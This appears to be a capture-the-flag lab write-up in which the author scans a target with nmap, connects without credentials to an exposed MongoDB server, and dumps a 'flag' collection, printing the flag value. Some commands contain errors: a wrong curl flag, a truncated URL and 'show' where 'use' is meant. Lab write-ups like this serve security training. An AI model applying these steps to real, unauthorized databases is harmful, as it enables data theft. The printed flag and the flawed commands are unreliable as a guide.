Tier 0 - Mongod

In this box, we connect to an insecure database, navigating the database to retrieve the flag. The database is a MongoDB, organised hierarchically in the order of Databases

Collections

Documents.

Enumeration

Using nmap we will scan the remote host for open ports and running services.

```
nmap -p- --min-rate=1000 -sV {target_IP}
-p- : This flag scans for all TCP ports ranging from 0-65535
-sV : Attempts to determine the version of the service running --min-rate : This is used to specify the minimum number of passend per second; it speeds up the scan as the number goes high.
```

We can see that port 22 is running an SSH service and port 27017 is running the MongoDB server.

In order to connect to the remote MongoDB server running on the target box, we will need to install the Mongodb utility.

```
curl -0 https://fastdl.mongodb.org/linux/mongodb-linux-x86_64
```

```
* Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 82.7M 100 82.7M 0 0 72.7M 0 0:00:01 0:00:01 --:-- 72.7M
```

then to extract contents of this tar archive file we will the tar utility.

```
tar xvf mongodb-linux-x86_64-3.4.7.tgz
```

```
mongodb-linux-x86_64-3.4.7/README
mongodb-linux-x86 64-3.4.7/THIRD-PARTY-NOTICES
mongodb-linux-x86_64-3.4.7/MPL-2
mongodb-linux-x86_64-3.4.7/GNU-AGPL-3.0
mongodb-linux-x86_64-3.4.7/bin/mongodump
mongodb-linux-x86_64-3.4.7/bin/mongorestore
mongodb-linux-x86_64-3.4.7/bin/mongoexport
mongodb-linux-x86 64-3.4.7/bin/mongoimport
mongodb-linux-x86 64-3.4.7/bin/mongostat
mongodb-linux-x86_64-3.4.7/bin/mongotop
mongodb-linux-x86_64-3.4.7/bin/bsondump
mongodb-linux-x86_64-3.4.7/bin/mongofiles
mongodb-linux-x86 64-3.4.7/bin/mongooplog
mongodb-linux-x86 64-3.4.7/bin/mongoreplay
mongodb-linux-x86_64-3.4.7/bin/mongoperf
mongodb-linux-x86_64-3.4.7/bin/mongod
mongodb-linux-x86 64-3.4.7/bin/mongos
 nongodb-linux-x86 64-3.4.7/bin/mongo
```

navigate to where the mongo binary is present

```
cd mongodb-linux-x86_64-3.4.7/bin
```

to connect to server use.

```
./mongo mongodb://{target_IP}:27017
```

We have successfully connected as an anynonymous user.

To list the databases one the MongoDB use this command

show dbs:

lets have a look at sensitive information.

```
show sensitive_information;
```

```
> use sensitive_information
switched to db sensitive_information
```

To list the collections stored in the sensitive_information database we will use

```
show collections;
```

We can see that there exists a single collection named flag. We can dump the contents of the documents present in the flag collection by using the db.collection.find() command. Let's replace the collection name 'flag' in the command and also use 'pretty()' in order to receive the output in a beautified format.

```
> show collections
flag

db.flag.find().pretty();
```

```
> db.flag.find().pretty();
{
          "_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
          "flag" : "1b6e6fb359e7c40241b6d431427ba6ea"
}
```

We have captured the flag.